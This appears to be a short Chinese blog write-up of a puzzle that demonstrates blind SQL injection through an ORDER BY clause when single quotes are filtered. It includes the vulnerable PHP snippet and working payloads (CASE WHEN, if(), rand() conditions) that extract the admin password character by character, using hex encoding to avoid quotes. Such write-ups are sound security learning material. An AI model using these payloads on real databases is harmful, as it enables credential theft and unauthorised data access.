mysql注入单引号被过滤_证明过滤单引号的ORDER BY可以注入

题目:证明基于ORDER BY的SQL 注入,且单引号(’)被过滤。

已知:代码如下,有注入无悬念。

$sortColumn = mysqli_real_escape_string($_GET['sort_column']);

$query ="SELECT * from cr0_3 WHERE active = true ORDER BY $sortColumn DESC";

?>

推理:

1.可以测试通过手段判断cr0_3的字段数量。不知道怎么做,就不要往下看了。

2.这个地方sort_column允许你进行boolean判断。可以推理出:

(CASE WHEN (SELECT ASCII(SUBSTRING(password, 1, 1)) FROM users where username = 0x61646D696E) = 65 THEN date ELSE title END)这个可以进行判断猜测字符串。0x61646D696E值其实就是select hex('admin')。为了规避单引号。

3.还可以推理出以下判断语句:

if(true,id,price)

if(false,id,price)

(select case when (true) then id else price end)

if((selectchar(substring(table_name,1,1)) from information_schema.tables limit 1)<=128),id,price)

注意,以上id,price不要换成1,2之类的。没有效果的。不信自己试。那么要知道id,price不是比较麻烦?

好。牛逼的思路来了。

4.可以推理出:

rand(true)

rand(false)

rand((selectchar(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

得知:

该题目可以成功注入,过滤单引号,很多情况下是没什么用滴。

有些思路,真他妈的有意思。

你可能感兴趣的:(mysql注入单引号被过滤)